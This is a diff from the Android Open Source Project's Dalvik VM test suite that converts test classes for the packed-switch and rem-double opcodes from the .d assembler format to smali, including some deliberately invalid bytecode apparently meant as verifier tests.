diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali
new file mode 100644
index 0000000..7f5756c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_5.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_5;
+.super Ljava/lang/Object;
+.source "T_packed_switch_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 p0, -0x1
+
+    return p0
+
+    :pswitch_5
+    const/4 p0, 0x2
+
+    return p0
+
+    :pswitch_7
+    const/16 p0, 0x14
+
+    return p0
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali
new file mode 100644
index 0000000..4b49cee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_6.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_6;
+.super Ljava/lang/Object;
+.source "T_packed_switch_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p0, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali
new file mode 100644
index 0000000..d74601a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_7;
+.super Ljava/lang/Object;
+.source "T_packed_switch_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali
new file mode 100644
index 0000000..f74d7d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_8;
+.super Ljava/lang/Object;
+.source "T_packed_switch_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_10
+
+    :pswitch_3
+    const v2, -0x1
+
+    return v2
+
+    :pswitch_7
+    const v2, 0x2
+
+    return v2
+
+    :pswitch_b
+    const v2, 0x14
+
+    return v2
+
+    nop
+
+    :pswitch_data_10
+    .packed-switch -0x1
+        :pswitch_7 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_b #  2
+        :pswitch_b #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali
new file mode 100644
index 0000000..1dd7bff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_9;
+.super Ljava/lang/Object;
+.source "T_packed_switch_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d
deleted file mode 100644
index 2585be4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_1.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali
new file mode 100644
index 0000000..9849cf1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_1.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d
deleted file mode 100644
index bacfdfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_2.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali
new file mode 100644
index 0000000..f7251cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_2.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d
deleted file mode 100644
index 87ce2da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_3.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       rem-double v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali
new file mode 100644
index 0000000..800e093
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_3.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d
deleted file mode 100644
index b917916..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_4.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       rem-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali
new file mode 100644
index 0000000..15ba151
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_4.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d
deleted file mode 100644
index 6a2a11a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_5.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali
new file mode 100644
index 0000000..dbb3845
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_5.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d
deleted file mode 100644
index 5cb0397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_6.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)D
-.limit regs 14
-
-       rem-double v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali
new file mode 100644
index 0000000..e4bc913
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_6.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d
deleted file mode 100644
index 898b7db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_1.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali
new file mode 100644
index 0000000..0eeb427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d
deleted file mode 100644
index 923864f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_2.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali
new file mode 100644
index 0000000..95aa8ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d
deleted file mode 100644
index 5913c80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_3.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       rem-double/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali
new file mode 100644
index 0000000..b3e64c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d
deleted file mode 100644
index a146daf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_4.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       rem-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali
new file mode 100644
index 0000000..b4bcd10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method
